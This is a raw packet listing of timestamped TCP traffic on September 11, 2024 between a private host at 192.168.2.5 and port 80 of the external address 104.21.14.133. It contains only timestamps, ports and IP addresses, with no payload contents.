Sep 11, 2024 18:23:50.538096905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.538096905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.538124084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538127899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538131952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538144112 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538155079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538158894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538163900 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.538180113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.538180113 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.538209915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682482004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682506084 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682509899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682514906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682559013 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682563066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682568073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682570934 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682595968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682696104 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682722092 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682728052 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682733059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682738066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682743073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682748079 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682751894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682755947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682755947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682755947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682755947 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682756901 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682764053 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682775021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682784081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682790041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682838917 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682843924 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682847977 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682853937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682858944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682858944 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682893038 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682902098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682919025 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682949066 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.682974100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682980061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.682985067 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683021069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683024883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683029890 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683032036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683032036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683036089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683042049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683046103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683053017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683064938 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683079004 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683084011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683089018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683094025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683099985 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683100939 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683105946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683113098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683120012 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683124065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683130980 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683135986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683155060 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683156013 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683196068 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683199883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683204889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683208942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683217049 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683249950 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683568001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683572054 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683577061 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683583021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683587074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683592081 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683598995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683603048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683607101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683614016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683619022 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683623075 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683629036 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683651924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683651924 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683674097 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683831930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683835983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683841944 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683846951 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683851957 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683856964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683861971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683866024 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683868885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.683887005 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.683933973 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684114933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684128046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684134007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684137106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684143066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684148073 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684149027 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684153080 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684159040 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684164047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684216976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684216976 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684426069 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684431076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684442043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684447050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684473991 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684480906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684501886 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684503078 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684564114 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684735060 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684741020 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684751987 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684756994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684762955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684767962 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684777021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684802055 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.684958935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684964895 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684973955 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684979916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684990883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.684993982 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685002089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685018063 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685026884 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685031891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685038090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685044050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685048103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685049057 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685053110 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685062885 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685066938 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685072899 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685077906 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685081959 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685086966 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685092926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685097933 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685101032 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685102940 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685117006 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685125113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685129881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685133934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685139894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685139894 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685170889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685174942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685177088 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685178995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685184002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.685194016 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.685226917 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.694188118 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694192886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694247007 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694252014 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694257021 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694267988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694272041 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694276094 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694308043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.694308043 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.694324017 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.694392920 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894404888 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894418001 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894438028 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894440889 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894444942 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894449949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894453049 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894457102 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894462109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894465923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894470930 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894475937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894484997 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894488096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894488096 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894489050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894522905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894522905 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894548893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894552946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894556046 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894566059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894568920 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894572973 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894578934 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894582033 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894586086 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894628048 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894632101 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894635916 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894658089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894660950 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894665003 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894673109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894678116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894680023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894680023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894680023 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894701958 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894706011 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894722939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894722939 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894798994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894800901 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894803047 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894807100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894817114 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894819975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894823074 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894833088 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894835949 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894840002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894844055 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894848108 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894851923 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894857883 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894860983 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.894898891 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894898891 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.894898891 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.897080898 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.897083998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.897099018 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.897104025 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.897106886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.897111893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.897170067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.897170067 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929054976 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929063082 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929068089 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929079056 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929083109 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929088116 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929094076 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929097891 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929104090 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929186106 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929191113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929194927 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929207087 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929209948 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929214954 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929220915 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929224968 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929229975 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929235935 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929238081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929238081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929238081 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929239988 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929244995 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929250002 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929311991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929311991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929311991 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929339886 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929344893 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929348946 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929353952 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929358006 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929362059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929368019 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929372072 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929375887 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929380894 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929383993 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929388046 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929389000 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929402113 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929406881 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929419041 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929431915 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929461956 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929466009 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929471016 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929482937 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929486990 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929491043 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929496050 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929500103 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929534912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929534912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929534912 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929573059 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929578066 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929583073 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929594994 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929598093 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929603100 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929608107 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929611921 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929615021 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929713964 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929718971 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929723978 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929734945 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929738998 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929742098 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929748058 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929753065 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929755926 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929764986 CEST	80	49710	104.21.14.133	192.168.2.5
Sep 11, 2024 18:23:50.929765940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929765940 CEST	49710	80	192.168.2.5	104.21.14.133
Sep 11, 2024 18:23:50.929765940 CEST	49710	80	192.168.2.5	104.21.14.133
